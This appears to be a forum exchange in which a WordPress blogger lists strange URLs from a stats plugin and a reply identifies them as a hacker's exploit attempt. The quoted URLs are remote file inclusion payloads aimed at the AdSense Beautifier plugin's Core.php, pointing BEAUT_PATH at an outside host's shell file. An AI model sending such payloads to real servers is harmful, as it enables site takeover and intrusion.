For a few days I have been seeing these URL's in my wordpress blogs 'Top Page Hits' (BAstats plugin) http://www.domain.com/2006/08/12/Core.php?BEAUT_PATH=http://tinypath.com/sdy/test/shell.gif? http://www.domain.com/2006/08/12/Beautifier/Core.php?BEAUT_PATH=http://tinypath.com/sdy/test/shell.gif? http://www.domain.com/2006/08/12/wordpress-plugin-adsense-beautifier/Beautifier/Core.php?BEAUT_PATH=http://tinypath.com/sdy/test/shell.gif? http://www.domain.com/2006/08/12/wordpress-plugin-adsense-beautifier/Core.php?BEAUT_PATH=http://tinypath.com/sdy/test/shell.gif? it seems is being added to my URL's. I have also been getting 100+ hits from them every day. These URL's make no sense to me. Could this be caused by some WordPress Plugin? I doubt The WP Plugin AdSense Beautifier. But I already have that pluign disabled
This is a hacker attempting to exploit scripts on your server. Run netstat -n on your server to determine if he's been successful. I'm working on finding him...